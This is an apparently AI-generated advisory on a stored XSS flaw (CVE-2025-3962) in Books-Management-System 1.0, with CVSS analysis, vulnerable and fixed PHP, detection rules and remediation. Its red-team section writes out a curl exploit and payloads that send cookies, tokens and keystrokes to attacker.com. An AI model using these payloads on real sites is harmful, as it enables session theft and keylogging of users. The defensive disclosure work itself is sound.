CVE-2025-3962
Executive Summary
CVE-2025-3962 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in the withstars Books-Management-System version 1.0. The flaw resides in the /api/comment/add endpoint of the Comment Handler component, where the content argument is not sanitized before being stored and later rendered. An attacker can inject arbitrary JavaScript, which will execute in the context of any user viewing the affected comment. The product is explicitly marked as end-of-life by the maintainer, meaning no official patch will be released. The EPSS score is 0.0%, indicating low active exploitation in the wild at the time of analysis, but the public availability of a proof-of-concept (PoC) increases the risk for unpatched instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP/JavaScript application. No supply chain component is affected.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Base Score: 6.1 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication is needed to submit a comment.
- User Interaction: Required (UI:R) – The victim must view the page containing the malicious comment.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality Impact: Low (C:L) – Limited data exfiltration possible.
- Integrity Impact: Low (I:L) – Content can be modified via script.
- Availability Impact: None (A:N) – No direct denial-of-service.
Threat Level: Medium. The low EPSS score and required user interaction reduce immediate risk, but the public PoC and lack of patch make it a persistent threat for any organization still using this unsupported software.
Deep Dive & Mechanics
The Books-Management-System is a simple PHP application for managing book records and user comments. The vulnerability is a classic stored XSS in the comment submission feature.
Root Cause: The /api/comment/add endpoint accepts a POST request with a content parameter. This input is directly inserted into the database without any sanitization, validation, or output encoding. When the comment is later retrieved and rendered on the book detail page, the unsanitized HTML/JavaScript is executed by the browser.
Attack Flow:
- Attacker sends a POST request to
/api/comment/addwith a malicious payload in thecontentfield, e.g.,<script>alert('XSS')</script>. - The server stores the payload in the database.
- A legitimate user visits the book detail page that loads the comments.
- The server retrieves the malicious comment and outputs it directly into the HTML.
- The victim's browser executes the injected script.
Why it works: The application lacks any Content Security Policy (CSP) headers and does not use output encoding functions like htmlspecialchars() in PHP. The comment is likely rendered using echo $comment['content']; or similar.
Vulnerable vs. Patched Code
Since no patch exists, we compare the vulnerable code to a secure implementation.
Vulnerable Code (PHP):
// /api/comment/add
$content = $_POST['content'];
$book_id = $_POST['book_id'];
$sql = "INSERT INTO comments (book_id, content) VALUES ('$book_id', '$content')";
mysqli_query($conn, $sql);
Patched Code (Secure Implementation):
// /api/comment/add
$content = htmlspecialchars($_POST['content'], ENT_QUOTES, 'UTF-8');
$book_id = intval($_POST['book_id']);
$stmt = $conn->prepare("INSERT INTO comments (book_id, content) VALUES (?, ?)");
$stmt->bind_param("is", $book_id, $content);
$stmt->execute();
Key Differences:
- Input Sanitization: The patched version uses
htmlspecialchars()to encode HTML special characters, preventing script execution. - Parameterized Queries: The patched version uses prepared statements to prevent SQL injection (though not the primary issue here, it's a best practice).
- Type Casting:
intval()ensuresbook_idis an integer.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running instance of Books-Management-System 1.0.
- Network access to the
/api/comment/addendpoint.
Exploit Steps:
- Identify a target book ID (e.g., 1).
- Send a malicious POST request using
curl:curl -X POST http://target/api/comment/add \ -d "book_id=1&content=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" - Wait for an administrator or user to view the book's comment section.
- The victim's browser will execute the script, sending their cookies to the attacker's server.
Alternative Payloads:
- Steal session tokens:
<script>new Image().src='https://attacker.com/steal?token='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Detection & Response)
Detection:
- Monitor HTTP POST requests to
/api/comment/addfor suspicious patterns in thecontentparameter (e.g.,<script>,onerror=,javascript:). - Use WAF rules to block common XSS payloads.
- Review server logs for unusual outbound connections from the web server (potential data exfiltration).
Response:
- Immediately isolate the affected server.
- Remove malicious comments from the database:
DELETE FROM comments WHERE content LIKE '%<script>%'; - If possible, implement a reverse proxy with XSS filtering (e.g., ModSecurity) in front of the application.
- Migrate to a supported alternative solution.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/api/comment/addwithcontentcontaining<script>,onerror,onload, or base64-encoded JavaScript. - Outbound HTTP/HTTPS requests to unknown domains from the web server (data exfiltration).
File IOCs:
- Suspicious entries in the
commentstable of the database containing HTML/JavaScript. - Log entries showing repeated POST requests to
/api/comment/addfrom the same IP.
Host IOCs:
- Unexpected child processes spawned by the web server (e.g.,
curl,wget). - Modified web pages (defacement) visible in the browser.
Detection Engineering
YARA Rule
rule CVE_2025_3962_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2025-3962 in Books-Management-System"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3962"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$xss4 = /javascript\s*:\s*/i
$xss5 = /<img[^>]+src\s*=\s*["']?[^"'\s>]+["']?\s*[^>]*>/i
condition:
any of them
}
Sigma Rule
title: Suspicious POST to Books-Management-System Comment Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts against CVE-2025-3962
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/comment/add'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in comments (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3962 XSS Attempt in Books-Management-System"; flow:to_server; content:"POST"; http_method; content:"/api/comment/add"; http_uri; content:"content="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the application: If the Books-Management-System is still in use, isolate it from the internet and sensitive networks.
- Remove malicious comments: Manually inspect and delete any comments containing JavaScript from the database.
- Implement a WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.
Long-Term Solutions:
- Migrate to a supported alternative: Since the product is end-of-life, migrate to a maintained book management solution.
- Code fix (if source is available): Apply the patched code shown in the "Vulnerable vs. Patched Code" section.
- Add Content Security Policy (CSP): Implement a strict CSP header to mitigate XSS even if injection occurs:
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none';
Valters IT Signature This report was generated by Valters IT DevSecOps AI. All analysis is based on publicly available information and should be verified before action.